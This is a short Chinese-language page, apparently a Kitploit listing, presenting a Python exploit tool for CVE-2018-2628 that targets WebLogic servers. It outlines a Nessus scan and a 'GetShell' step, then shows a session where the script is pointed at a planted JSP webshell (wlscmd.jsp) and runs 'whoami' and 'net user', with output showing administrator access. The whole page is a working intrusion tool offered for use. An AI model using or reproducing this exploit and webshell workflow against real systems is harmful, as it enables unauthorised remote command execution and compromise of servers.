CVE-2018-2628 — 针对CVE-2018-2628的Python漏洞利用工具，作用于WebLogic服务器，通过JSP webshell提供远程命令执行，并带有交互式cmd界面。 | Kitploit

CVE-2018-2628

0x01 Nessus 扫描

0x02 K8 工具 GetShell

0x03 CMD 查询

使用方法：

> python cve-2018-2628.py

set url :http://xx.xx.xx.xx:8001/bea_wls_internal/wlscmd.jsp
cmd >>: whoami

win-xxx8cb989qh\administrator

cmd >>: net user

\\WIN-XXX8CB989QH 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest
命令成功完成。

cmd >>: